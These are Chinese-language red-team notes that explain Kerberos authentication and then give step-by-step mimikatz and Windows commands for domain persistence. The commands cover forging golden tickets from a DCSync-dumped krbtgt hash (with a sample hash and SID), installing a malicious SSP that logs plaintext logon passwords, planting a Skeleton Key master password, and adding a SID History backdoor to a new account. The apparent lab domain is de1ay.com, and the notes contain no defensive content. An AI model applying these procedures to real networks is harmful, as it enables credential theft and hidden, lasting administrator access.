PASS The Ticket(票据传递)
Client: Application Client 应用客户端
KDC(Key Distribution Center):密钥分发中心,里面包含两个服务:AS和TGS
AS(Authentication Server): 身份认证服务
TGS(Ticket Granting Server): 票据授予服务
TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
流程:
1.Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容
2.KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC(Privilege Attribute Certificate,不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式),PAC包含Client的sid,Client所在的组
3.Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
4.KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端),这一步不管用户有没有访问服务的权限,只要TGT(认证票据)正确,就返回TGS票据
5.此时client拿着KDC给的TGS票据去请求服务
6.服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
KDC 返回的 Msg B :使用 TGS 密钥( KDC HASH / KRBTGT用户NTLM HASH ) 加密的
TGT ( Ticket-Granting-Ticket ),当我们获取到 krbtgt 用户的 NTLM 哈希后,便可主动使用 krbtgt 用户的 NTLM 哈希做为 TGS 密钥来生成 TGT 发送给 KDC ,这样 KDC 如果通过解密伪造 TGT 获取到伪造的 [CLIENT/TGS SESSIONKEY] 可以成功解密 Authenticator 1 并完成与 TGT 中的数据进行比对,便成功骗过了 KDC ,也就是成功伪造了黄金票据
1、域名称
2、域的SID值
3、域的KRBTGT账户密码HASH
4、伪造用户名,可以是任意的
1. 获取域名:
whoami
net time /domain
ipconfig /all
2.获取域SID:
whoami /user
wmic useraccount list brief
3.获取域的KRBTGT账户NTLM密码哈希或者aes-256值
mimikatz lsadump::dcsync /domain:de1ay.com /user:krbtgt
4.清理所有票据
klist purge
5. mimikatz伪造指定用户的票据并注入内存
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-3767205380-3469466069-2137393323 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080 /ptt
6.查看票据
mimikatz kerberos::list
7.保存票据为文件
mimikatz kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-3767205380-3469466069-2137393323 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:golden.kirbi
参考:
一文了解黄金票据和白银票据-腾讯云开发者社区-腾讯云
简介
SSP : security Support Provider ,一个用于身份验证的 dll
SSPI : Security Support Provider Interface , Windows 系统在执行认证操
作所使用的API。 SSPI 是 SSP 的 API 接口
LSA : Local Security Authority ,用于身份认证,常见进程为 lsass.exe ,特
别的地方在于 LSA 是可扩展的,在系统启动的时候 SSP 会被加载到进程 lsass.exe
中.这相当于我们可以自定义一个 dll ,在系统启动的时候被加载到进程 lsass.exe
原理
系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll ,一个用于记录所有登录到当前系统的明文账号密码的 dll , 利用 mimikatz 中 mimilib.dll 文件。将 mimikatz 中的 mimilib.dll 放到系统的 C:\Windows\system32 目录下(DLL的位数需要与windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
过程:
1.将mimilib文件上传复制到域控system32文件夹
copy mimilib.dll %systemroot%\system32
2.添加注册表:
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
3.添加数值:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d
"kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
#在powershell中执行reg!在cmd中执行可能会报错
计算机重启后,如果有用户成功登录到当前系统中,会在 c:\windows\system32 目
录下生成一个用于记录登账账号密码的 kiwissp.log 文件
优点:即使系统重启,也不会影响持久化效果;
缺点:但是会在目标主机上留下二进制文件。容易被发现
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
执行命令:
mimikatz # privilege::debug
mimikatz # misc::memssp
type C:\Windows\System32\mimilsa.log
优点:这种方法不会在系统中留下二进制文件,
缺点:但域控重启,被注入内存的伪造SSP就会丢失。
简介
Skeleton Key 是一种不需要域控重启即能生效的维持域控权限方法。Skeleton Key 被安装在 64 位的域控服务器上,支持 Windows Server2003—Windows Server2012 R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。
过程:
在域控安装Skeleton Key
privilege::debug
misc::skeleton
域内主机使用Skeleton Key登录域控
#mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户
添加了一个万能密码,无法修改账户的权限
net use \\DC.de1ay.com mimikatz /user:[email protected]
net use \\dc\ipc$ "mimikatz" /user:administrator#两条命令都可以尝试
简介
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访
问权限。
SID History是在域迁移过程中需要使用的一个属性。
如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影
响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。
SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的
SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移
后的用户保持原有权限、能够访问其原来可以访问的资源。
使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。
在实战中,如果获得了域管理员权限,则可以将SID History作为实现持久化的方
法。
过程:
1.域控上添加并启用域账户
#pwd为新建域帐户名,
dsadd user cn=pwd,dc=de1ay,dc=com -disabled no -pwd 1qaz@WSX
2.Mimikatz添加后门
privilege::debug
sid::patch
sid::add /sam:pwd /new:administrator
3.PowerShell查看ming用户的SID History
Import-Module ActiveDirectory
Get-ADUser pwd -Properties sidhistory
4.验证域用户pwd是否有具有administrator权限
#以pwd账户登录计算机验证
whoami
dir \\DC\c$
参考:
https://www.cnblogs.com/1-Ry/p/15647031.html
九维团队-红队(突破)| 黄金白银票据攻击与防御 | CTF导航
Kerberos协议之黄金票据和白银票据 - Y4er的博客
黄金票据和白银票据攻击及其原理介绍 - 简书